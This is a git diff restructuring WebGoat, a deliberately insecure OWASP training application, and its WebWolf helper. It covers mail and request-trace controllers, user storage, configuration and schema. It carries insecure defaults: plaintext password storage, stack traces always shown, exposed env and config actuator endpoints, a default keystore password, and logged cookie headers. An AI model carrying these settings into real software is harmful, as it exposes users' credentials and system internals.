100644 index 000000000..6a3640bfd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java @@ -0,0 +1,64 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.mailbox; + +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +@RestController +@AllArgsConstructor +@Slf4j +public class MailboxController { + + private final MailboxRepository mailboxRepository; + + @GetMapping(value = "/mail") + public ModelAndView mail() { + UserDetails user = + (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + ModelAndView modelAndView = new ModelAndView(); + List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); + if (emails != null && !emails.isEmpty()) { + modelAndView.addObject("total", emails.size()); + modelAndView.addObject("emails", emails); + } + modelAndView.setViewName("mailbox"); + return modelAndView; + } + + @PostMapping(value = "/mail") + public ResponseEntity sendEmail(@RequestBody Email email) { + mailboxRepository.save(email); + return ResponseEntity.status(HttpStatus.CREATED).build(); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/NewLesson.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java similarity index 54% rename from webgoat-container/src/main/java/org/owasp/webgoat/lessons/NewLesson.java rename to src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java index 98c4638e7..b1979ada8 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/NewLesson.java +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java @@ -1,51 +1,35 @@ -package org.owasp.webgoat.lessons; - -import java.util.List; - -/** - * ************************************************************************************************ - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - *

- * Copyright (c) 2002 - 20014 Bruce Mayhew - *

+/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - *

+ * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - *

+ * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - *

- * Getting Source ============== - *

- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - *

* - * @author WebGoat - * @version $Id: $Id - * @since October 12, 2016 + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -public abstract class NewLesson extends LessonAdapter { +package org.owasp.webgoat.webwolf.mailbox; - @Override - public abstract Category getDefaultCategory(); +import java.util.List; +import org.springframework.data.jpa.repository.JpaRepository; - public abstract List getHints(); - - @Override - public abstract Integer getDefaultRanking(); - - @Override - public abstract String getTitle(); - - @Override - public abstract String getId(); +/** + * @author nbaars + * @since 8/17/17. + */ +public interface MailboxRepository extends JpaRepository { + List findByRecipientOrderByTimeDesc(String recipient); } diff --git a/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java b/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java new file mode 100644 index 000000000..6d46c014f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java @@ -0,0 +1,52 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.requests; + +import java.util.concurrent.Callable; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; + +@Controller +@Slf4j +@RequestMapping("/landing/**") +public class LandingPage { + + @RequestMapping( + method = { + RequestMethod.POST, + RequestMethod.GET, + RequestMethod.DELETE, + RequestMethod.PATCH, + RequestMethod.PUT + }) + public Callable> ok(HttpServletRequest request) { + return () -> { + log.trace("Incoming request for: {}", request.getRequestURL()); + return ResponseEntity.ok().build(); + }; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java b/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java new file mode 100644 index 000000000..f510ed7e9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java @@ -0,0 +1,110 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.requests; + +import static java.util.stream.Collectors.toList; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.time.Instant; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.actuate.trace.http.HttpTrace; +import org.springframework.boot.actuate.trace.http.HttpTrace.Request; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.servlet.ModelAndView; + +/** + * Controller for fetching all the HTTP requests from WebGoat to WebWolf for a specific user. + * + * @author nbaars + * @since 8/13/17. + */ +@Controller +@RequiredArgsConstructor +@Slf4j +@RequestMapping(value = "/requests") +public class Requests { + + private final WebWolfTraceRepository traceRepository; + private final ObjectMapper objectMapper; + + @AllArgsConstructor + @Getter + private class Tracert { + private final Instant date; + private final String path; + private final String json; + } + + @GetMapping + public ModelAndView get() { + var model = new ModelAndView("requests"); + var user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + var traces = + traceRepository.findAllTraces().stream() + .filter(t -> allowedTrace(t, user)) + .map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t))) + .collect(toList()); + model.addObject("traces", traces); + + return model; + } + + private boolean allowedTrace(HttpTrace t, UserDetails user) { + Request req = t.getRequest(); + boolean allowed = true; + /* do not show certain traces to other users in a classroom setup */ + if (req.getUri().getPath().contains("/files") + && !req.getUri().getPath().contains(user.getUsername())) { + allowed = false; + } else if (req.getUri().getPath().contains("/landing") + && req.getUri().getQuery() != null + && req.getUri().getQuery().contains("uniqueCode") + && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))) { + allowed = false; + } + + return allowed; + } + + private String path(HttpTrace t) { + return (String) t.getRequest().getUri().getPath(); + } + + private String toJsonString(HttpTrace t) { + try { + return objectMapper.writeValueAsString(t); + } catch (JsonProcessingException e) { + log.error("Unable to create json", e); + } + return "No request(s) found"; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java b/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java new file mode 100644 index 000000000..bba73a890 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java @@ -0,0 +1,76 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.requests; + +import com.google.common.collect.EvictingQueue; +import java.util.ArrayList; +import java.util.List; +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.actuate.trace.http.HttpTrace; +import org.springframework.boot.actuate.trace.http.HttpTraceRepository; + +/** + * Keep track of all the incoming requests, we are only keeping track of request originating from + * WebGoat. + * + * @author nbaars + * @since 8/13/17. + */ +@Slf4j +public class WebWolfTraceRepository implements HttpTraceRepository { + + private final EvictingQueue traces = EvictingQueue.create(10000); + private final List exclusionList = + List.of( + "/tmpdir", + "/home", + "/files", + "/images/", + "/favicon.ico", + "/js/", + "/webjars/", + "/requests", + "/css/", + "/mail"); + + @Override + public List findAll() { + return List.of(); + } + + public List findAllTraces() { + return new ArrayList<>(traces); + } + + private boolean isInExclusionList(String path) { + return exclusionList.stream().anyMatch(e -> path.contains(e)); + } + + @Override + public void add(HttpTrace httpTrace) { + var path = httpTrace.getRequest().getUri().getPath(); + if (!isInExclusionList(path)) { + traces.add(httpTrace); + } + } +} diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/session/CourseTest.java b/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java similarity index 67% rename from webgoat-container/src/test/java/org/owasp/webgoat/session/CourseTest.java rename to src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java index 75f05bb31..c7e87b559 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/session/CourseTest.java +++ b/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java @@ -1,34 +1,34 @@ -package org.owasp.webgoat.session; - -/** - * ************************************************************************************************ - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - *

- * Copyright (c) 2002 - 20014 Bruce Mayhew - *

+/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - *

+ * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - *

+ * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - *

- * Getting Source ============== - *

- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - *

* - * @author nbaars - * @version $Id: $Id - * @since November 26, 2016 + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -public class CourseTest { -} \ No newline at end of file +package org.owasp.webgoat.webwolf.user; + +import org.springframework.data.jpa.repository.JpaRepository; + +/** + * @author nbaars + * @since 3/19/17. + */ +public interface UserRepository extends JpaRepository { + + WebGoatUser findByUsername(String username); +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java b/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java new file mode 100644 index 000000000..a57980e9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java @@ -0,0 +1,55 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.user; + +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Service +public class UserService implements UserDetailsService { + + private UserRepository userRepository; + + public UserService(UserRepository userRepository) { + this.userRepository = userRepository; + } + + @Override + public WebGoatUser loadUserByUsername(final String username) throws UsernameNotFoundException { + WebGoatUser webGoatUser = userRepository.findByUsername(username); + if (webGoatUser == null) { + throw new UsernameNotFoundException("User not found"); + } + webGoatUser.createUser(); + return webGoatUser; + } + + public void addUser(final String username, final String password) { + userRepository.save(new WebGoatUser(username, password)); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java b/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java new file mode 100644 index 000000000..d432ff925 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java @@ -0,0 +1,82 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.user; + +import java.util.Collection; +import java.util.Collections; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Transient; +import lombok.Getter; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Entity +public class WebGoatUser implements UserDetails { + + @Id private String username; + private String password; + @Transient private User user; + + protected WebGoatUser() {} + + public WebGoatUser(String username, String password) { + this.username = username; + this.password = password; + createUser(); + } + + public void createUser() { + this.user = new User(username, password, getAuthorities()); + } + + public Collection getAuthorities() { + return Collections.emptyList(); + } + + @Override + public boolean isAccountNonExpired() { + return this.user.isAccountNonExpired(); + } + + @Override + public boolean isAccountNonLocked() { + return this.user.isAccountNonLocked(); + } + + @Override + public boolean isCredentialsNonExpired() { + return this.user.isCredentialsNonExpired(); + } + + @Override + public boolean isEnabled() { + return this.user.isEnabled(); + } +} diff --git a/src/main/resources/application-webgoat.properties b/src/main/resources/application-webgoat.properties new file mode 100644 index 000000000..cd217395c --- /dev/null +++ b/src/main/resources/application-webgoat.properties @@ -0,0 +1,62 @@ +server.error.include-stacktrace=always +server.error.path=/error.html +server.servlet.context-path=/WebGoat +server.servlet.session.persistent=false +server.port=${webgoat.port:8080} +server.address=${webgoat.host} +webgoat.host=${WEBGOAT_HOST:127.0.0.1} +spring.application.name=WebGoat + +server.ssl.key-store-type=${WEBGOAT_KEYSTORE_TYPE:PKCS12} +server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12} +server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password} +server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat} +server.ssl.enabled=${WEBGOAT_SSLENABLED:false} + +spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/webgoat +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.properties.hibernate.default_schema=CONTAINER +spring.banner.location=classpath:banner.txt + +logging.level.org.thymeleaf=INFO +logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO +logging.level.org.thymeleaf.TemplateEngine.TIMER=INFO +logging.level.org.thymeleaf.TemplateEngine.cache.TEMPLATE_CACHE=INFO +logging.level.org.springframework.web=INFO +logging.level.org.springframework=INFO +logging.level.org.springframework.boot.devtools=INFO +logging.level.org.owasp=DEBUG +logging.level.org.owasp.webgoat=DEBUG + +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webgoat.build.version=@project.version@ +webgoat.email=webgoat@owasp.org +webgoat.emaillist=owasp-webgoat@lists.owasp.org +webgoat.feedback.address=webgoat@owasp.org +webgoat.feedback.address.html=webgoat@owasp.org +webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} +webgoat.default.language=en + +webwolf.host=${WEBWOLF_HOST:127.0.0.1} +webwolf.port=${WEBWOLF_PORT:9090} +webwolf.url=http://${webwolf.host}:${webwolf.port} +webwolf.landingpage.url=${webwolf.url}/landing +webwolf.mail.url=${webwolf.url}/mail + +spring.jackson.serialization.indent_output=true +spring.jackson.serialization.write-dates-as-timestamps=false + +#For static file refresh ... and faster dev :D +spring.devtools.restart.additional-paths=webgoat-container/src/main/resources/static/js,webgoat-container/src/main/resources/static/css + +exclude.categories=${EXCLUDE_CATEGORIES:none,none} +#exclude based on the enum of the Category + +exclude.lessons=${EXCLUDE_LESSONS:none,none} +#exclude based on the class name of a lesson e.g.: LessonTemplate + +management.health.db.enabled=true +management.endpoint.health.show-details=always +management.endpoints.web.exposure.include=env, health,configprops diff --git a/webwolf/src/main/resources/application.properties b/src/main/resources/application-webwolf.properties similarity index 57% rename from webwolf/src/main/resources/application.properties rename to src/main/resources/application-webwolf.properties index 25869712a..eedc0599b 100644 --- a/webwolf/src/main/resources/application.properties +++ b/src/main/resources/application-webwolf.properties @@ -1,26 +1,34 @@ server.error.include-stacktrace=always server.error.path=/error.html -server.session.timeout=6000 -#server.contextPath=/WebWolf -server.port=9090 -server.address=localhost -server.session.cookie.name = WEBWOLFSESSION +server.port=${webwolf.port:9090} +server.address=${webwolf.host} +spring.application.name=WebWolf -spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat +webwolf.host=${WEBWOLF_HOST:127.0.0.1} + +management.server.port=-1 +server.servlet.session.cookie.name=WEBWOLFSESSION +server.servlet.session.timeout=6000 +spring.flyway.enabled=false + +spring.thymeleaf.prefix=classpath:/webwolf/templates/ + + +spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/webgoat spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect -spring.jpa.hibernate.ddl-auto=update +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.properties.hibernate.default_schema=CONTAINER spring.messages.basename=i18n/messages +spring.jmx.enabled=false logging.level.org.springframework=INFO logging.level.org.springframework.boot.devtools=WARN logging.level.org.owasp=DEBUG logging.level.org.owasp.webwolf=TRACE -endpoints.trace.sensitive=false -management.trace.include=REQUEST_HEADERS,RESPONSE_HEADERS,COOKIES,ERRORS,TIME_TAKEN,PARAMETERS,QUERY_STRING -endpoints.trace.enabled=true +management.trace.http.include=REQUEST_HEADERS,RESPONSE_HEADERS,COOKIE_HEADERS,TIME_TAKEN +management.endpoint.httptrace.enabled=true -spring.resources.cache-period=0 spring.thymeleaf.cache=false multipart.enabled=true diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 000000000..4afc67dea --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + __ __ _ _____ _ + \ \ / / | | / ____| | | + \ \ /\ / / ___ | |__ | | __ ___ __ _ | |_ + \ \/ \/ / / _ \ | '_ \ | | |_ | / _ \ / _' | | __| + \ /\ / | __/ | |_) | | |__| | | (_) | | (_| | | |_ + \/ \/ \___| |_.__/ \_____| \___/ \__,_| \__| diff --git a/src/main/resources/db/container/V1__init.sql b/src/main/resources/db/container/V1__init.sql new file mode 100644 index 000000000..b4c3727f7 --- /dev/null +++ b/src/main/resources/db/container/V1__init.sql @@ -0,0 +1,66 @@ +-- This statement is here the schema is always created even if we use Flyway directly like in test-cases +-- For the normal WebGoat server there is a bean which already provided the schema (and creates it see DatabaseInitialization) +CREATE SCHEMA IF NOT EXISTS CONTAINER; + +CREATE SEQUENCE CONTAINER.HIBERNATE_SEQUENCE; + +CREATE TABLE CONTAINER.ASSIGNMENT ( + ID BIGINT NOT NULL PRIMARY KEY, + NAME VARCHAR(255), + PATH VARCHAR(255) +); + +CREATE TABLE CONTAINER.LESSON_TRACKER( + ID BIGINT NOT NULL PRIMARY KEY, + LESSON_NAME VARCHAR(255), + NUMBER_OF_ATTEMPTS INTEGER NOT NULL +); + +CREATE TABLE CONTAINER.LESSON_TRACKER_ALL_ASSIGNMENTS( + LESSON_TRACKER_ID BIGINT NOT NULL, + ALL_ASSIGNMENTS_ID BIGINT NOT NULL, + PRIMARY KEY(LESSON_TRACKER_ID,ALL_ASSIGNMENTS_ID), + CONSTRAINT FKNHIDKE27BCJHI8C7WJ9QW6Y3Q FOREIGN KEY(ALL_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID), + CONSTRAINT FKBM51QSDJ7N17O2DNATGAMW7D FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID), + CONSTRAINT UK_SYGJY2S8O8DDGA2K5YHBMUVEA UNIQUE(ALL_ASSIGNMENTS_ID) +); + +CREATE TABLE CONTAINER.LESSON_TRACKER_SOLVED_ASSIGNMENTS( + LESSON_TRACKER_ID BIGINT NOT NULL, + SOLVED_ASSIGNMENTS_ID BIGINT NOT NULL, + PRIMARY KEY(LESSON_TRACKER_ID,SOLVED_ASSIGNMENTS_ID), + CONSTRAINT FKPP850U1MG09YKKL2EQGM0TRJK FOREIGN KEY(SOLVED_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID), + CONSTRAINT FKNKRWGA1UHLOQ6732SQXHXXSCR FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID), + CONSTRAINT UK_9WFYDUY3TVE1XD05LWOUEG0C1 UNIQUE(SOLVED_ASSIGNMENTS_ID) +); + +CREATE TABLE CONTAINER.USER_TRACKER( + ID BIGINT NOT NULL PRIMARY KEY, + USERNAME VARCHAR(255) +); + +CREATE TABLE CONTAINER.USER_TRACKER_LESSON_TRACKERS( + USER_TRACKER_ID BIGINT NOT NULL, + LESSON_TRACKERS_ID BIGINT NOT NULL, + PRIMARY KEY(USER_TRACKER_ID,LESSON_TRACKERS_ID), + CONSTRAINT FKQJSTCA3YND3OHP35D50PNUH3H FOREIGN KEY(LESSON_TRACKERS_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID), + CONSTRAINT FKC9GX8INK7LRC79XC77O2MN9KE FOREIGN KEY(USER_TRACKER_ID) REFERENCES CONTAINER.USER_TRACKER(ID), + CONSTRAINT UK_5D8N5I3IC26CVF7DF7N95DOJB UNIQUE(LESSON_TRACKERS_ID) +); + +CREATE TABLE CONTAINER.WEB_GOAT_USER( + USERNAME VARCHAR(255) NOT NULL PRIMARY KEY, + PASSWORD VARCHAR(255), + ROLE VARCHAR(255) +); + +CREATE TABLE CONTAINER.EMAIL( + ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY, + CONTENTS VARCHAR(1024), + RECIPIENT VARCHAR(255), + SENDER VARCHAR(255), + TIME TIMESTAMP, + TITLE VARCHAR(255) +); + +ALTER TABLE CONTAINER.EMAIL ALTER COLUMN ID RESTART WITH 2; \ No newline at end of file diff --git a/src/main/resources/db/container/V2__version.sql b/src/main/resources/db/container/V2__version.sql new file mode 100644 index 000000000..3d7a8908a --- /dev/null +++ b/src/main/resources/db/container/V2__version.sql @@ -0,0 +1 @@ +ALTER TABLE CONTAINER.LESSON_TRACKER ADD VERSION INTEGER; diff --git a/src/main/resources/goatkeystore.pkcs12 b/src/main/resources/goatkeystore.pkcs12 new file mode 100644 index 000000000..c7e335790 Binary files /dev/null and b/src/main/resources/goatkeystore.pkcs12 differ diff --git a/webgoat-container/src/main/resources/i18n/messages.properties b/src/main/resources/i18n/messages.properties similarity index 69% rename from webgoat-container/src/main/resources/i18n/messages.properties rename to src/main/resources/i18n/messages.properties index d58990c3e..5e86bade2 100644 --- a/webgoat-container/src/main/resources/i18n/messages.properties +++ b/src/main/resources/i18n/messages.properties @@ -51,13 +51,25 @@ show.hints=Show hints lesson.overview=Lesson overview reset.lesson=Reset lesson sign.in=Sign in -register.new=Register new user +register.new=or register yourself as a new user sign.up=Sign up register.title=Register +searchmenu=Search lesson not.empty=This field is required. username.size=Please use between 6 and 10 characters. username.duplicate=User already exists. password.size=Password should at least contain 6 characters -password.diff=The passwords do not match. \ No newline at end of file +password.diff=The passwords do not match. +security.enabled=Security enabled, you can try the previous challenges and see the effect! +security.disabled=Security enabled, you can try the previous challenges and see the effect! +termsofuse=Terms of use +register.condition.1=While running this program your machine will be extremely vulnerable to attack.\ + You should disconnect from the Internet while using this program. WebGoat's default configuration binds to localhost to minimize the exposure. +register.condition.2=This program is for educational purposes only. If you attempt \ +these techniques without authorization, you are very likely to get caught. If \ +you are caught engaging in unauthorized hacking, most companies will fire you. \ +Claiming that you were doing security research will not work as that is the \ +first thing that all hackers claim. +terms.agree=Agree with the terms and conditions diff --git a/webgoat-container/src/main/resources/i18n/messages_de.properties b/src/main/resources/i18n/messages_de.properties similarity index 73% rename from webgoat-container/src/main/resources/i18n/messages_de.properties rename to src/main/resources/i18n/messages_de.properties index 152981238..13a8b1f2f 100644 --- a/webgoat-container/src/main/resources/i18n/messages_de.properties +++ b/src/main/resources/i18n/messages_de.properties @@ -24,9 +24,18 @@ # #General -LessonCompleted=Herzlichen Gl\u00fcckwunsch! Sie haben diese Lektion erfolgreich abgeschlossen. -RestartLesson=Lektion neu beginnen +lesson.completed=Herzlichen Gl\u00fcckwunsch! Sie haben diese Lektion erfolgreich abgeschlossen. +assignment.solved=Herzlichen Gl\u00fcckwunsch! Sie haben diesen Auftrag erfolgreich abgeschlossen. +assignment.not.solved=Die L\u00f6sung ist nicht korrekt, versuchen Sie es erneut. + +reset.lesson=Lektion neu anfangen SolutionVideos=L\u00f6sungsvideos ErrorGenerating=Fehler beim Generieren von InvalidData=Ung\u00fcltige Daten Go!=Los gehts! +username=Benutzername +password=Passwort +password.confirm=Wiederhohl Passwort +sign.up=Anmelden +register.title=Registrieren + diff --git a/webgoat-container/src/main/resources/i18n/messages_fr.properties b/src/main/resources/i18n/messages_fr.properties similarity index 91% rename from webgoat-container/src/main/resources/i18n/messages_fr.properties rename to src/main/resources/i18n/messages_fr.properties index 340a11bd7..737c207fc 100644 --- a/webgoat-container/src/main/resources/i18n/messages_fr.properties +++ b/src/main/resources/i18n/messages_fr.properties @@ -24,9 +24,9 @@ # #General -LessonCompleted=F\u00e9licitations. Vous avez termin\u00e9 cette le\u00e7on avec succ\u00e9s. +lesson.completed=F\u00e9licitations. Vous avez termin\u00e9 cette le\u00e7on avec succ\u00e9s. RestartLesson=Recommencer cette le\u00e7on SolutionVideos=Solution vid\u00e9os ErrorGenerating=Error generating InvalidData=Donn\u00e9e invalide -Go!=Go! 